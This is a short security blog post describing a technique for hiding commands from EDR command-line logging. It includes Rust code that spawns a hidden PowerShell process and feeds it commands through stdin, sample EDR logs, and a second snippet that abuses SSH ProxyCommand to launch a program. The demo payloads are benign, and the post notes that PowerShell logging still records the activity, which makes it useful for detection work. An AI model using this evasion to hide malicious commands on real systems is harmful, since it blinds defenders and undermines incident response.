Big EDR Hates This One Easy Trick!
Bypass Details
This will be a quick post, but I was playing around with a couple of EDR bypass methods this week after getting some inspiration from a ClickFix incident that abused SSH ProxyCommand. I wanted to write an EDR logging bypass that used SSH to launch arbitrary commands. Improving on the method I saw in the incident. Unfortunately, I didn’t do that. However, I did write up a simple and compact method to bypass command line logging. It’s confirmed working with a major EDR product and likely works for all products (maybe, idk, I just have the one to test on).
Basically, taking a spawned PowerShell process and manipulating the stdin stream will allow the spawned PowerShell process to execute code without passing it as an argument. EDR process logging will not be able to see the stdin stream and therefore cannot detect or log the command being executed (through typical EDR process logging).
For example, when executing the compiled binary produced by the below code, these are the resulting EDR logs:
Time | FileName | ParentFileName | CommandLine |
---|---|---|---|
20:28:48.150 | PoShHide.exe | cargo.exe | “““target\debug\PoShHide.exe””” |
20:28:48.150 | powershell.exe | PoShHide.exe | “““powershell”” -w 1 -” |
As you can see, creating the hidden_text.txt
file was not logged in any way. The EDR remains blind to the actual command that was executed. Of course, if you were to spawn a child process using this method, the process would log as normal and show the correct parent. However, if you combine this technique with WSL abuse… Bypassing EDR Constraints with WSL2.
Code
NOTE!
This is only an EDR logging bypass. If you have PowerShell logging configured correctly the logs will show all activity. However, proper PoSh logging eats up a significant amount of space, and may not be the first place an incident response team looks if they have an enterprise solution logging.
use std::process::Command; // Needed for the Command execution
use std::os::windows::process::CommandExt; // Needed for the raw_arg parameter (helps persist formatting)
use std::io::Write; // writeln!
fn main() {
let mut cmd= Command::new("powershell")
.stdin(std::process::Stdio::piped()) // Stating that we will provide a stdin stream
.raw_arg(r#"-w 1 -"#)
/*
A PowerShell process will execute the stdin stream when created with the `-` argument.
Additionally, `-w 1` creates the powershell process in a hidden window, obscuring the actions from being visuall observed.
*/
.spawn();
if let Some(mut stdin) = cmd.unwrap().stdin.take()
{
writeln!(stdin, "write 'test' > hidden_text.txt"); // Whatever you put here will not show up in the process logs (depending on EDR/logging method)
}
}
Side Note
The original goal was to find a way to evade logging while abusing SSH to execute arbitrary commands without the EDR detecting anything. Unfortunately, SSH has no method for obfuscation itself. Meaning, you can abuse it just fine, but the SSH command line will remain fully visible. However, I found that that there were no default alerts for abuse of ProxyCommand execution in the tested EDR. Doing a simple invocation demo’d below worked just fine. Very easy to spot, but still some potential for abuse. In the original incident that kicked this off, the EDR did not detect on SSH, but rather the follow up execution.
The original detection had SSH executing a series of powershell commands that contained an obfuscated MSHTA invocation, attempting to retrieve a payload from a remote server.
use std::process::Command;
use std::os::windows::process::CommandExt;
use std::io::Write;
fn main() {
let mut cmd = Command::new("cmd")
.raw_arg(r#"ssh -o ProxyCommand="cmd /c cmd /c ^"start calc " "#)
.spawn();
}